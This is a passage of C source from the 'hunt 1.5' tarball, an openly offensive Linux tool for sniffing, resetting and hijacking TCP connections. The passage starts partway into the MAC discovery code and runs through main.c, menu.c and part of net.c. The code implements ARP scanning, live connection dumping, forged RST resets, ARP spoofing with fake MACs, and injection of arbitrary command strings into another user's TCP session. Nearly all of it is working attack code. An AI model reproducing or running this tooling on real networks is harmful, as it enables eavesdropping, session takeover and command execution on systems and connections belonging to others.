#include #include #include #include void mac_discover_range(unsigned int start_ip, unsigned int end_ip, int count) { unsigned int addr, j; struct timespec ts; for (j = 1; j <= count; j++) { for (addr = start_ip; ntohl(addr) <= ntohl(end_ip); addr = htonl(ntohl(addr) + 1)) { mac_discover(addr, 1); } ts.tv_sec = 0; ts.tv_nsec = 200000000; nanosleep(&ts, NULL); } } void mac_discover(unsigned int ip, int count) { struct arp_spec as; struct timespec ts; int i; as.src_mac = my_eth_mac; as.dst_mac = mac_broadcast; as.oper = htons(ARPOP_REQUEST); as.sender_mac = my_eth_mac; as.sender_addr = my_eth_ip; as.target_mac = mac_zero; as.target_addr = ip; ts.tv_sec = 0; ts.tv_nsec = 100000000; for (i = 0; i < count; i++) { send_arp_packet(&as); if (i < count - 1) nanosleep(&ts, NULL); } /* * reply will be received by hunt */ } /* * arp discovery modul */ struct mac_disc_info { unsigned int start_addr; unsigned int end_addr; struct mac_disc_info *next; }; static struct list l_mdi = LIST_INIT(struct mac_disc_info, next); static int wait_sec = 300; static volatile int stop_break = 0; static int thr_running = 0; static pthread_t mac_thr; static volatile int stop = 0; static pthread_mutex_t mutex_stop = PTHREAD_MUTEX_INITIALIZER; static pthread_cond_t cond_stop = PTHREAD_COND_INITIALIZER; static void *mac_disc_thr(void *arg) { struct list_iterator li; struct mac_disc_info *mdi; unsigned int addr; struct timeval tv; struct timespec ts; int retval; pthread_sigmask(SIG_BLOCK, &intr_mask, NULL); setpriority(PRIO_PROCESS, getpid(), 10); stop_break = 0; while (!stop) { list_iter_set(&li, &l_mdi); while ((mdi = list_iter_get(&li)) && !stop) { for (addr = mdi->start_addr; ntohl(addr) <= ntohl(mdi->end_addr) && !stop; addr = htonl(ntohl(addr) + 1)) { mac_discover(addr, 1); } } list_iter_end(&li); pthread_mutex_lock(&mutex_stop); retval = 0; gettimeofday(&tv, NULL); ts.tv_sec = tv.tv_sec + wait_sec; ts.tv_nsec = tv.tv_usec * 1000; while (!stop && retval != ETIMEDOUT && !stop_break) retval = pthread_cond_timedwait(&cond_stop, &mutex_stop, &ts); pthread_mutex_unlock(&mutex_stop); stop_break = 0; } return NULL; } static int start_mac_discovery(void) { if (thr_running) { printf("mac discoverer already running\n"); return -1; } pthread_mutex_init(&mutex_stop, NULL); pthread_cond_init(&cond_stop, NULL); stop = 0; pthread_create(&mac_thr, NULL, mac_disc_thr, NULL); thr_running = 1; return 0; } static int stop_mac_discovery(void) { if (!thr_running) { printf("mac discoverer isn't running\n"); return -1; } stop = 1; pthread_mutex_lock(&mutex_stop); pthread_cond_signal(&cond_stop); pthread_mutex_unlock(&mutex_stop); pthread_join(mac_thr, NULL); thr_running = 0; return 0; } void print_mac_daemon() { if (thr_running) { if (pthread_kill(mac_thr, 0) != 0) { pthread_join(mac_thr, NULL); mac_thr = (pthread_t) 0; thr_running = 0; set_tty_color(COLOR_BRIGHTRED); printf("MAC daemon failed - bug\n"); set_tty_color(COLOR_LIGHTGRAY); } else printf("M"); } } /* * print_mac_table is in hunt.c which will receive arp reply */ static void mdi_list(void) { struct list_iterator li; struct mac_disc_info *mdi; int count = 0; list_iter_set(&li, &l_mdi); while ((mdi = list_iter_get(&li))) { printf("%2d) %-24s - %-24s\n", count++, host_lookup(mdi->start_addr, hl_mode), host_lookup(mdi->end_addr, hl_mode)); if (count % lines_o == 0) lines_o_press_key(); } list_iter_end(&li); } static void mdi_add(void) { struct mac_disc_info *mdi; unsigned int start_ip, end_ip; if ((start_ip = menu_choose_hostname("start ip addr", NULL)) == -1) return; if ((end_ip = menu_choose_hostname("end ip addr", NULL)) == -1) return; mdi = malloc(sizeof(struct mac_disc_info)); assert(mdi); mdi->start_addr = start_ip; mdi->end_addr = end_ip; list_enqueue(&l_mdi, mdi); } static void mdi_mod(void) { struct mac_disc_info *mdi; unsigned int start_ip, end_ip; int nr; mdi_list(); if ((nr = menu_choose_unr("choose item", 0, list_count(&l_mdi) - 1, list_count(&l_mdi) - 1)) == -1) return; if (!(mdi = list_at(&l_mdi, nr))) return; if ((start_ip = menu_choose_hostname("start ip addr", host_lookup(mdi->start_addr, hl_mode))) == -1) return; if ((end_ip = menu_choose_hostname("end ip addr", host_lookup(mdi->end_addr, hl_mode))) == -1) return; mdi->start_addr = start_ip; mdi->end_addr = end_ip; } static void mdi_del(void) { int i; struct mac_disc_info *mdi; mdi_list(); i = menu_choose_unr("item nr. to delete", 0, list_count(&l_mdi) - 1, -1); if (i >= 0) { mdi = list_remove_at(&l_mdi, i); free(mdi); } } static void mdi_time_wait(void) { int min, sec; min = wait_sec / 60; sec = wait_sec % 60; if ((min = menu_choose_unr("choose time interval min", 0, 1000, min)) == -1) return; if ((sec = menu_choose_unr("choose time interval sec", 0, 10000, sec)) == -1) return; wait_sec = min * 60 + sec; stop_break = 1; pthread_mutex_lock(&mutex_stop); pthread_cond_signal(&cond_stop); pthread_mutex_unlock(&mutex_stop); } void mac_disc_menu(void) { char *m_menu = "s/k) start/stop daemon\n" "l) list discoverer setup h) list HW mac addresses\n" "t) time to sleep\n" "a/m/d) add/mod/del entry\n" "x) return\n"; char *m_keys = "sklhtadmx"; int run_it; run_it = 1; while (run_it) { switch (menu("mac disc. daemon", m_menu, "macd", m_keys, 0)) { case 's': start_mac_discovery(); break; case 'k': stop_mac_discovery(); break; case 'l': mdi_list(); break; case 'h': print_mac_table(); break; case 't': mdi_time_wait(); break; case 'a': mdi_add(); break; case 'm': mdi_mod(); break; case 'd': mdi_del(); break; case 'x': run_it = 0; break; } } } hunt-1.5/main.c100644 0 0 27615 7113502357 11542 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include "hunt.h" #include #include #include #include #include #include void logo(void) { printf("/*\n" " *\thunt " VERSION "\n" " *\tmultipurpose connection intruder / sniffer for Linux\n" " *\t(c) 1998-2000 by kra\n" " */\n"); } void list_connections(void) { char *buf; char *__buf, *b; int i = 0; clear_new_conn_ind(); conn_list(NULL, &buf, conn_list_mac, conn_list_seq); if (buf) { __buf = buf; while ((b = strtok(__buf, "\n"))) { __buf = NULL; printf("%s\n", b); if (++i % lines_o == 0) lines_o_press_key(); } free(buf); } else printf("no connections are available\n"); } int choose_connection(struct user_conn_info *uci) { struct user_conn_info *arr_uci; char *str; int count, i; int retval = -1; count = conn_list(&arr_uci, &str, 0, 0); if (arr_uci) { printf("%s\n", str); free(str); if ((i = menu_choose_unr("choose conn", 0, count - 1, -1)) >= 0) { memcpy(uci, &arr_uci[i], sizeof(struct user_conn_info)); retval = 0; } free(arr_uci); } else printf("no connections are available\n"); return retval; } struct list l_dump_connection = LIST_INIT(struct packet, p_next[MODULE_DUMP_CONN]); void func_dump_connection_dst(struct packet *p, struct user_conn_info *arg) { if (p->p_iph->saddr == arg->dst_addr && p->p_iph->daddr == arg->src_addr && p->p_hdr.p_tcph->source == arg->dst_port && p->p_hdr.p_tcph->dest == arg->src_port) { packet_want(p); list_produce(&l_dump_connection, p); } } void func_dump_connection_src(struct packet *p, struct user_conn_info *arg) { if (p->p_iph->saddr == arg->src_addr && p->p_iph->daddr == arg->dst_addr && p->p_hdr.p_tcph->source == arg->src_port && p->p_hdr.p_tcph->dest == arg->dst_port) { packet_want(p); list_produce(&l_dump_connection, p); } } volatile int loop_running; static void ctrl_c_handler(int i) { loop_running = 0; }; /* * mode == 0 - dst * 1 - src * 2 - both */ void dump_connection_uci(struct user_conn_info *uci, int mode, int same_chars) { struct packet *p; struct ifunc_item ifunc_src, ifunc_dst; struct sigaction sac, old_sac; int dst_packet; char pbuf[256]; int pbuf_len; clear_scr(); ctrl_c_prompt(); list_produce_start(&l_dump_connection); if (mode == 0 || mode == 2) { ifunc_dst.func = (void(*)(struct packet *, void *)) func_dump_connection_dst; ifunc_dst.arg = uci; list_enqueue(&l_ifunc_tcp, &ifunc_dst); } if (mode == 1 || mode == 2) { ifunc_src.func = (void(*)(struct packet *, void *)) func_dump_connection_src; ifunc_src.arg = uci; list_enqueue(&l_ifunc_tcp, &ifunc_src); } sac.sa_handler = ctrl_c_handler; sigemptyset(&sac.sa_mask); sigaddset(&sac.sa_mask, SIGINT); sac.sa_flags = SA_RESTART; sigaction(SIGINT, &sac, &old_sac); loop_running = 1; while (loop_running && (p = list_consume(&l_dump_connection, NULL))) { if (p->p_iph->saddr == uci->src_addr && p->p_iph->daddr == uci->dst_addr && p->p_hdr.p_tcph->source == uci->src_port && p->p_hdr.p_tcph->dest == uci->dst_port) dst_packet = 0; else dst_packet = 1; /* * packet from source */ if (!dst_packet && p->p_data_len && !same_chars) { pbuf_len = p->p_data_len < sizeof(pbuf) ? p->p_data_len : sizeof(pbuf); memcpy(pbuf, p->p_data, pbuf_len); } else pbuf_len = 0; /* * packet from destination */ if (dst_packet && p->p_data_len && !same_chars) { if (p->p_data_len == pbuf_len && memcmp(p->p_data, pbuf, pbuf_len) == 0) { pbuf_len = 0; } else print_data_packet(p, p->p_data_len, 0, dst_packet); } else print_data_packet(p, p->p_data_len, 0, dst_packet); packet_free(p); } if (mode == 0 || mode == 2) list_remove(&l_ifunc_tcp, &ifunc_dst); if (mode == 1 || mode == 2) list_remove(&l_ifunc_tcp, &ifunc_src); packet_flush(&l_dump_connection); tty_tput_reset(); press_key("\n\n-- press any key> "); sigaction(SIGINT, &old_sac, NULL); } void dump_connection(struct user_conn_info *uci) { int c; c = menu_choose_sdb("dump", 'b'); switch (c) { case 'd': dump_connection_uci(uci, MODE_SRC, 0); break; case 's': dump_connection_uci(uci, MODE_DST, 0); break; case 'b': c = menu_choose_char("print src/dst same characters y/n", "ny", 'n'); switch (c) { case 'n': dump_connection_uci(uci, MODE_BOTH, 0); break; case 'y': dump_connection_uci(uci, MODE_BOTH, 1); break; } break; } } void reset_connection(void) { struct user_conn_info uci; int c; if (!choose_connection(&uci)) { c = menu_choose_sdb("reset", 'b'); switch (c) { case 'd': user_rst(&uci, 1, MODE_DST); printf("done\n"); break; case 's': user_rst(&uci, 1, MODE_SRC); printf("done\n"); break; case 'b': user_rst(&uci, 1, MODE_BOTH); printf("done\n"); break; } } } void simple_hijack(void) { char cmdbuf[256]; struct user_conn_info uci; int retval = 0; int c; if (!choose_connection(&uci)) { c = menu_choose_char("dump connection y/n", "yn", 'n'); switch (c) { case 'y': dump_connection(&uci); break; } do { set_tty_color(COLOR_WHITE); fprintf(stdout,"Enter the command string you wish executed or [cr]> "); set_tty_color(COLOR_LIGHTGRAY); fflush(stdout); fgets(cmdbuf, sizeof(cmdbuf), stdin); if(cmdbuf[0] == 0x0a) break; } while ((retval = user_stormack_hijack(&uci, cmdbuf)) == 0); if (retval <= 0) { c = menu_choose_char("[r]eset connection/[s]ynchronize/[n]one", "rsn", 'r'); switch (c) { case 'r': user_rst(&uci, 1, MODE_BOTH); break; case 's': if (user_hijack_sync(&uci)) { printf("\n"); c = menu_choose_char("[r]eset connection/[n]one", "rn", 'r'); switch (c) { case 'r': user_rst(&uci, 1, MODE_BOTH); break; } } else printf("\n"); break; } } printf("done\n"); } } void a_hijack(void) { unsigned char __src_fake_mac[ETH_ALEN] = {0xEA, 0x1A, 0xDE, 0xAD, 0xBE, 0xEF}; unsigned char __dst_fake_mac[ETH_ALEN] = {0xEA, 0x1A, 0xDE, 0xAD, 0xBE, 0xEE}; unsigned char *src_fake_mac = NULL; unsigned char *dst_fake_mac = NULL; char buf[BUFSIZE]; struct user_conn_info uci; int retval, retval2; int c, input_mode; if (!choose_connection(&uci)) { if (!get_arp_spoof(uci.src_addr, uci.dst_addr) && !get_arp_spoof(uci.dst_addr, uci.src_addr)) { c = menu_choose_char("arp spoof src in dst y/n", "yn", 'y'); switch (c) { case 'y': sprintf_eth_mac(buf, suggest_mac()); if (menu_choose_mac("src MAC", __src_fake_mac, buf) < 0) return; src_fake_mac = __src_fake_mac; break; case 'n': src_fake_mac = NULL; break; default: return; } c = menu_choose_char("arp spoof dst in src y/n", "yn", 'y'); switch (c) { case 'y': sprintf_eth_mac(buf, suggest_mac()); if (menu_choose_mac("dst MAC", __dst_fake_mac, buf) < 0) return; dst_fake_mac = __dst_fake_mac; break; case 'n': dst_fake_mac = NULL; break; default: return; } if (!src_fake_mac && !dst_fake_mac) { printf("Possible ACK storm can ocure because you don't do ARP spoof at all, OK\n"); } } else { printf("hosts already ARP spoofed\n"); } switch (menu_choose_char("input mode [r]aw, [l]ine+echo+\\r, line+[e]cho", "rle", 'r')) { case 'r': input_mode = INPUT_MODE_RAW; break; case 'l': input_mode = INPUT_MODE_LINEECHOR; break; case 'e': input_mode = INPUT_MODE_LINEECHO; break; default: return; } c = menu_choose_char("dump connectin y/n", "yn", 'y'); switch (c) { case 'y': dump_connection(&uci); break; case 'n': press_key("press key to take over of connection"); break; default: return; } retval = user_arp_hijack(&uci, src_fake_mac, dst_fake_mac, input_mode); /* user_arp_hijack_done();*/ if (retval <= 0) { c = menu_choose_char("\n[r]eset connection/[s]ynchronize/[n]one", "rsn", 'r'); switch (c) { case 'r': user_rst(&uci, 1, MODE_BOTH); break; case 's': retval2 = user_hijack_sync(&uci); if (retval2) { printf("\n"); c = menu_choose_char("[r]eset connection/[n]one", "rn", 'r'); switch (c) { case 'r': user_rst(&uci, 1, MODE_BOTH); break; } } else printf("\n"); break; } } user_arp_hijack_done(src_fake_mac, dst_fake_mac); printf("done\n"); } } static void choose_daemon(void) { char *daemon_menu = "r) reset daemon\n" "a) arp spoof + arp relayer daemon\n" "s) sniff daemon\n" "m) mac discovery daemon\n" "x) return\n"; char *daemon_chars = "rasmx"; int run_it = 1; while (run_it) { switch (menu("daemons", daemon_menu, "dm", daemon_chars, 0)) { case 'r': rstd_menu(); break; case 'a': arpspoof_menu(); break; case 's': sniff_menu(); break; case 'm': mac_disc_menu(); break; case 'x': run_it = 0; break; } } } static void init_modules(void) { } static void usage(char *argv0) { char *prog_name; if ((prog_name = strrchr(argv0, '/'))) prog_name++; else prog_name = argv0; fprintf(stderr, "usage: %s -vV [-i eth_interface]\n", prog_name); } char *main_menu = "l/w/r) list/watch/reset connections\n" "u) host up tests\n" "a) arp/simple hijack (avoids ack storm if arp used)\n" "s) simple hijack\n" /* (ack stormed - src Linux avoids ack storm)\n */ "d) daemons rst/arp/sniff/mac\n" "o) options\n" "x) exit\n"; char *main_menu_opt = "lwrusadox"; char *eth_device = "eth0"; void finish_c_handler(int sig) { exit(1); /* ok, try to run atexit handlers */ } void main_reset(void) { tap(eth_device, 0); set_tty_color(COLOR_LIGHTGRAY); printf("\ndone\n"); } pthread_t th_hunt = (pthread_t) 0; pthread_t main_thread_id = (pthread_t) 0; int verbose = 0; sigset_t intr_mask; int tj_func(void *arg, int sec) { printf("tj func %s return %d\n", (char *) arg, sec); return sec; } int main(int argc, char *argv[]) { struct user_conn_info uci; struct sigaction sac; int run_it; int c; if (geteuid() || getuid()) { fprintf(stderr, "UID or EUID of 0 needed\n"); exit(1); } main_thread_id = pthread_self(); while ((c = getopt(argc, argv, "vVi:")) != EOF) { switch (c) { case 'i': eth_device = optarg; break; case 'v': verbose++; break; case 'V': printf("hunt: version " VERSION "\n"); exit(0); default: usage(argv[0]); exit(1); } } sigemptyset(&intr_mask); sigaddset(&intr_mask, SIGINT); setpriority(PRIO_PROCESS, getpid(), 0); sac.sa_handler = finish_c_handler; sigemptyset(&sac.sa_mask); sigaddset(&sac.sa_mask, SIGINT); sac.sa_flags = SA_RESTART; sigaction(SIGINT, &sac, NULL); logo(); resolv_init(); timer_init(); init_modules(); if (pthread_create(&th_hunt, NULL, hunt, NULL)) exit(1); pthread_mutex_lock(&mutex_hunt_ready); while (!hunt_ready) pthread_cond_wait(&cond_hunt_ready, &mutex_hunt_ready); pthread_mutex_unlock(&mutex_hunt_ready); atexit(main_reset); atexit(tty_atexit); atexit(timer_done); atexit(resolv_done); run_it = 1; while (run_it) { switch (menu("Main Menu", main_menu, NULL, main_menu_opt, 0)) { case 'l': list_connections(); break; case 'r': reset_connection(); break; case 's': simple_hijack(); break; case 'a': a_hijack(); break; case 'w': if (!choose_connection(&uci)) dump_connection(&uci); break; case 'u': host_up(); break; case 'd': choose_daemon(); break; case 'o': options_menu(); break; case 'x': if (arpspoof_exit_check() != 0) break; switch (menu_choose_char("exit? y/n", "yn", 'y')) { case 'y': run_it = 0; break; } break; } } return 0; } hunt-1.5/menu.c100644 0 0 30315 6726515760 11564 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include "hunt.h" #include #include #include #include #include #include #include #include #include #include static int menu_prompt(char *label, char *buf, int buf_size, char *dfl) { if (!label) label = ""; set_tty_color(COLOR_WHITE); if (dfl) { if (strlen(label)) printf("%s [%s]> ", label, dfl); else printf("[%s]> ", dfl); } else printf("%s> ", label); fgets(buf, buf_size, stdin); set_tty_color(COLOR_LIGHTGRAY); if (buf[0] == 0x0a) { if (dfl) strcpy(buf, dfl); else return -1; } if (buf[0] == 'x') return -1; return 0; } int parse_unr(char *buf, int min, int max) { char *tmp; int i; i = strtol(buf, &tmp, 10); if ((!*tmp || *tmp == 0x0a) && i >= min && i <= max) return i; else return -1; } int parse_ports(char *buf, unsigned int *ret_ports) { char *buf_p; char *p, *d, *tmp; int ports[MAX_PORTS + 1]; int err, i; int count; buf_p = buf; err =0; count = 0; while ((p = strtok(buf_p, " ,;\t\n"))) { buf_p = NULL; if ((d = strchr(p, '-')) || (d = strchr(p, ':'))) { *d++ = 0; i = strtol(p, &tmp, 10); if (*tmp) { err = 1; break; } ports[count] = i; PORT_SET_INTERVAL(ports[count]); count++; i = strtol(d, &tmp, 10); if (*tmp) { err = 1; break; } ports[count++] = i; } else { i = strtol(p, &tmp, 10); if (*tmp) { if ((i = service_lookup(p)) == 0) {; err = 1; break; } } ports[count++] = i; } } ports[count++] = 0; if (err || count > MAX_PORTS + 1) { printf("bad ports\n"); return -1; } else { memcpy(ret_ports, ports, sizeof(int) * count); return 0; } } static sigjmp_buf jmp_hostbyname; static int ctrl_c_signaled; static void ctrl_c_handler(int nr) { int was_already_signaled = ctrl_c_signaled; ctrl_c_signaled = 1; if (!was_already_signaled) siglongjmp(jmp_hostbyname, 1); } unsigned int parse_hostname(char *buf) { struct sigaction sac, old_sac; sigset_t new_mask; char *buf_p; struct hostent *hent; unsigned int ip; buf_p = buf; while(isalnum(*buf_p) || ispunct(*buf_p)) buf_p++; *buf_p = 0; #if 0 if (host_name_in_num(buf)) { ip = inet_addr(buf); return ip; } else { } #endif hent = NULL; if (sigsetjmp(jmp_hostbyname, 0) == 0) { ctrl_c_signaled = 0; sac.sa_handler = ctrl_c_handler; sigemptyset(&sac.sa_mask); sigaddset(&sac.sa_mask, SIGINT); sac.sa_flags = SA_RESTART; sigaction(SIGINT, &sac, &old_sac); /* * well, maybe it isn't safe to longjmp from gethostbyname, * though I do it bacause user want some respons */ hent = gethostbyname(buf); sigaction(SIGINT, &old_sac, NULL); } else { hent = NULL; press_key("\n-- operation canceled - press any key> "); sigaction(SIGINT, &old_sac, NULL); sigemptyset(&new_mask); sigaddset(&new_mask, SIGINT); pthread_sigmask(SIG_UNBLOCK, &new_mask, NULL); } if (hent) { ip = *(unsigned int *) hent->h_addr_list[0]; return ip; } else { printf("can't resolve name %s to host address\n", buf); return -1; } } int parse_mac(char *buf, char *mac_ret) { unsigned char mac[ETH_ALEN]; char *p, *tmp, *buf_p; int count, i, err; buf_p = buf; count = 0; err = 0; while ((p = strtok(buf_p, ": \t\n")) && count < ETH_ALEN) { buf_p = NULL; i = strtol(p, &tmp, 16); if (*tmp) { err = 1; break; } mac[count++] = i; } if (count != ETH_ALEN) err = 1; if (!err) { memcpy(mac_ret, mac, ETH_ALEN); return 0; } else { printf("bad mac address\n"); return -1; } } #if 0 static int host_name_in_num(char *buf) { for ( ; *buf; buf++) { if (!(*buf == '.') && !isdigit(*buf) && !isspace(*buf)) return 0; } return 1; } #endif int menu_choose_unr(char *label, int min, int max, int dfl) { char buf[64], __dfl_buf[64], *dfl_buf; int i; if (min > max) return -1; if (min < 0 || max < 0) return -1; if (dfl < 0) dfl_buf = NULL; else { sprintf(__dfl_buf, "%d", dfl); dfl_buf = __dfl_buf; } while (1) { if (menu_prompt(label, buf, sizeof(buf), dfl_buf) < 0) return -1; if ((i = parse_unr(buf, min, max)) >= 0) break; } return i; } int menu_choose_mac(char *label, unsigned char *mac_ret, char *dfl) { char buf[BUFSIZE]; while (1) { if (menu_prompt(label, buf, sizeof(buf), dfl) < 0) return -1; if (strncasecmp(buf, "my", 2) == 0 || strncasecmp(buf, "my eth", 6) == 0 || strncasecmp(buf, "my eth mac", 10) == 0 || strncasecmp(buf, "my mac", 6) == 0) { memcpy(mac_ret, my_eth_mac, ETH_ALEN); return 0; } if (parse_mac(buf, mac_ret) == 0) return 0; } } unsigned int menu_choose_hostname(char *label, char *dfl) { char buf[256]; unsigned int ip; while (1) { if (menu_prompt(label, buf, sizeof(buf), dfl) < 0) return -1; if ((ip = parse_hostname(buf)) != -1) break; } return ip; } int menu_choose_ports(char *label, int *ret_ports, char *dfl) { char buf[BUFSIZE]; while (1) { if (menu_prompt(label, buf, sizeof(buf), dfl) < 0) return -1; if (parse_ports(buf, ret_ports) == 0) return 0; } } int menu_choose_host_mask_ports(char *label, unsigned int *ret_ip, unsigned int *ret_mask, unsigned int *ret_ports, char *dfl) { char buf[256]; char *host_name, *mask_str, *ports_str; unsigned int ip; int with_mask, mask; unsigned int ports[MAX_PORTS + 1]; while (1) { if (menu_prompt(label, buf, sizeof(buf), dfl) < 0) return -1; if (strchr(buf, '/')) with_mask = 1; else with_mask = 0; if (!(host_name = strtok(buf, " /\t\n"))) continue; if ((ip = parse_hostname(host_name)) == -1) continue; if (with_mask) { if (!(mask_str = strtok(NULL, " \t\n"))) continue; if ((mask = parse_unr(mask_str, 0, 32)) < 0) continue; mask = mask ? 0xFFFFFFFFU >> (32 - mask) : 0; } else { if (ip == 0) mask = 0; else if ((ip & 0x80FFFFFFU) == 0) mask = 0xFF; else if ((ip & 0x40FFFFFFU) == 0) mask = 0xFFFFU; else if ((ip & 0x20FFFFFFU) == 0) mask = 0xFFFFFFU; else mask = 0xFFFFFFFFU; } if ((ports_str = strtok(NULL, "\n"))) { if (parse_ports(ports_str, ports) < 0) continue; } else memset(ports, 0, sizeof(ports)); *ret_ip = ip; *ret_mask = mask; memcpy(ret_ports, ports, sizeof(ports)); return 0; } } int menu_choose_host_mask_ports_dfl(char *label, unsigned int *ret_ip, unsigned int *ret_mask, unsigned int *ret_ports, unsigned int dfl_ip, unsigned int dfl_mask, int *dfl_ports) { char dfl[256], *buf_p; buf_p = dfl; buf_p += sprintf(buf_p, "%s/%d", host_lookup(dfl_ip, hl_mode), count_mask(dfl_mask)); if (dfl_ports && dfl_ports[0]) { buf_p += sprintf(buf_p, " "); buf_p += sprintf_db_ports(dfl_ports, buf_p, &dfl[sizeof(dfl)] - buf_p, 0); } return menu_choose_host_mask_ports(label, ret_ip, ret_mask, ret_ports, dfl); } static pthread_mutex_t menucc_mutex = PTHREAD_MUTEX_INITIALIZER; static int menucc_in_menu = 0; static int menucc_conn_ind = 0; static char *menucc_label; static char *menucc_opt; static char menucc_dfl; static int menucc_conn_s = 0; static int menucc_conn_s_old = 0; #define NEW_CONN_IND '*' #define NEW_CONN_CLR '-' void clear_new_conn_ind(void) { pthread_mutex_lock(&menucc_mutex); menucc_conn_s_old = menucc_conn_s; pthread_mutex_unlock(&menucc_mutex); } void print_new_conn_ind(int add_new) { static int last = 0; pthread_mutex_lock(&menucc_mutex); if (add_new) { menucc_conn_s++; } if (menucc_in_menu && (menucc_conn_ind == 0 || add_new == 0 || last == 0)) { if (menucc_conn_ind) { putchar('\r'); /* 0x08 */ if (menucc_conn_s != menucc_conn_s_old) { putchar(NEW_CONN_IND); last = 1; } else { putchar(NEW_CONN_CLR); last = 0; } } if (menucc_dfl) { if (strlen(menucc_label)) printf("%s [%c]> ", menucc_label, menucc_dfl); else printf("[%c]> ", menucc_dfl); } else printf("%s> ", menucc_label); fflush(stdout); } pthread_mutex_unlock(&menucc_mutex); } int menu_choose_char_nconn(char *label, char *opt, char dfl, int conn_ind) { char buf[64]; int i; while (1) { if (!label) label = ""; set_tty_color(COLOR_WHITE); pthread_mutex_lock(&menucc_mutex); menucc_label = label; menucc_opt = opt; menucc_dfl = dfl; menucc_in_menu = 1; menucc_conn_ind = conn_ind; pthread_mutex_unlock(&menucc_mutex); print_new_conn_ind(0); fgets(buf, sizeof(buf), stdin); pthread_mutex_lock(&menucc_mutex); menucc_in_menu = 0; pthread_mutex_unlock(&menucc_mutex); set_tty_color(COLOR_LIGHTGRAY); if (buf[0] == 0x0a && dfl) { i = (int) dfl; break; } if (buf[0] == 0x0a) { i = -1; break; } if (strchr(opt, buf[0])) { i = buf[0]; break; } } return i; } int menu_choose_char(char *label, char *opt, char dfl) { return menu_choose_char_nconn(label, opt, dfl, 0); } int menu_choose_yn(char *label, int dfl) { int retval, c; c = menu_choose_char(label, "nyx", dfl ? 'y' : 'n'); switch (c) { case 'n': retval = 0; break; case 'y': retval = 1; break; default: retval = -1; } return retval; } int menu_choose_string(char *label, char *ret_buf, int buf_len, char *dfl) { char buf[BUFSIZE]; int len, min_len; if (!label) label = ""; set_tty_color(COLOR_WHITE); if (dfl) { if (strlen(label)) printf("%s [%s]> ", label, dfl); else printf("[%s]> ", dfl); } else printf("%s> ", label); fgets(buf, sizeof(buf), stdin); set_tty_color(COLOR_LIGHTGRAY); if (buf[0] == 0x0a) { if (dfl) strcpy(buf, dfl); else return -1; } len = strlen(buf); if (buf[len - 1] == '\n') buf[len - 1] = 0; min_len = buf_len < len + 1 ? buf_len : len + 1; memcpy(ret_buf, buf, min_len); ret_buf[min_len - 1] = 0; return 0; } int menu(char *head, char *str_menu, char *label, char *opt, char dfl) { if (!head) head=""; if (!str_menu) str_menu = ""; set_tty_color_bg(COLOR_BLACK, COLOR_WHITE); printf("--- %s --- rcvpkt %u, free/alloc %d/%d ---", head, pkts_received, packet_count(), packets_allocated); print_rst_daemon(); print_arp_relayer_daemon(); print_mac_daemon(); print_sniff_daemon(); printf("---"); set_tty_color_bg(COLOR_WHITE, COLOR_BLACK); printf("\n"); if (verbose) { set_tty_color_bg(COLOR_BLACK, COLOR_WHITE); printf("%*s", strlen(head) + 9, " "); printf("droppkt %u, other proto pkt %u", pkts_dropped, pkts_unhandled); set_tty_color_bg(COLOR_WHITE, COLOR_BLACK); printf("\n"); } printf("%s", str_menu); set_tty_color(COLOR_LIGHTGRAY); if (th_hunt) { if (pthread_kill(th_hunt, 0) != 0) { set_tty_color(COLOR_BRIGHTRED); printf("hunt failed - please restart the program"); set_tty_color(COLOR_LIGHTGRAY); } } return menu_choose_char_nconn(label, opt, dfl, 1); } void press_key(char *label) { if (!label) label = ""; set_tty_color(COLOR_WHITE); printf("%s", label); fflush(stdout); getchar(); set_tty_color(COLOR_LIGHTGRAY); } int menu_choose_sdb(char *label, char dfl) { char *str = "[s]rc/[d]st/[b]oth"; char __label[128], *lbl; char buf[64]; char __buf_dfl[2], *buf_dfl; if (dfl) { __buf_dfl[0] = dfl; __buf_dfl[1] = 0; buf_dfl = __buf_dfl; } else buf_dfl = NULL; if (label) { sprintf(__label, "%s %s", label, str); lbl = __label; } else lbl = str; while (1) { if (menu_prompt(lbl, buf, sizeof(buf), buf_dfl) < 0) return -1; if (strchr("sdb", buf[0])) { return buf[0]; } else printf("bad src/dst/both\n"); } } char int_to_sdb(int mode) { char retval; switch (mode) { case MODE_SRC: retval = 's'; break; case MODE_DST: retval = 'd'; break; case MODE_BOTH: retval = 'b'; break; default: retval = -1; break; } return retval; } int sdb_to_int(char mode) { int retval; switch (mode) { case 's': retval = MODE_SRC; break; case 'd': retval = MODE_DST; break; case 'b': retval = MODE_BOTH; break; default: retval = -1; break; } return retval; } char *sdbmode_to_char(int mode) { char *str_mode; switch (mode) { case MODE_SRC: str_mode = "src"; break; case MODE_DST: str_mode = "dst"; break; case MODE_BOTH: str_mode = "both"; break; default: str_mode = "err"; break; } return str_mode; } hunt-1.5/net.c100644 0 0 16771 6727205042 11406 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include "hunt.h" #include #include #include #include #include #include int Sendmsg(int s, const struct msghdr *msg, unsigned int flags) { int retval; int retry_count = 0; struct timespec ts; retry: retval = sendmsg(s, msg, flags); if (retval < 0 && errno == ENOBUFS && retry_count < 5) { ts.tv_sec = 0; ts.tv_nsec = 10000000; /* 0.01s */ nanosleep(&ts, NULL); retry_count++; goto retry; } if (retval < 0) fprintf(stderr, "sendmsg retval = %d errno = %d\n", retval, errno); return retval; } int send_tcp_packet(struct tcp_spec *ts) { int tot_len, retval; char buf[2048], *data; struct ethhdr *eth; struct iphdr *ip; struct tcphdr *tcp; struct msghdr msg; struct sockaddr spkt; struct iovec iov; eth = (struct ethhdr *) buf; memcpy(eth->h_dest, ts->dst_mac, ETH_ALEN); memcpy(eth->h_source, ts->src_mac, ETH_ALEN); eth->h_proto = htons(ETH_P_IP); ip = (struct iphdr *) (eth + 1); tcp = (struct tcphdr *) (ip + 1); data = (char *) (tcp + 1); memset(ip, 0, sizeof(struct iphdr)); memset(tcp, 0, sizeof(struct tcphdr)); memcpy(data, ts->data, ts->data_len); tcp->dest = ts->dport; tcp->source = ts->sport; tcp->doff = 5; tcp->psh = ts->psh; tcp->ack = ts->ack; tcp->rst = ts->rst; tcp->window = ts->window; ip->version = 4; ip->ihl = 5; tot_len = IPHDR + TCPHDR + ts->data_len; ip->tot_len = htons(tot_len); /* 16-bit Total length */ ip->ttl = 64; /* 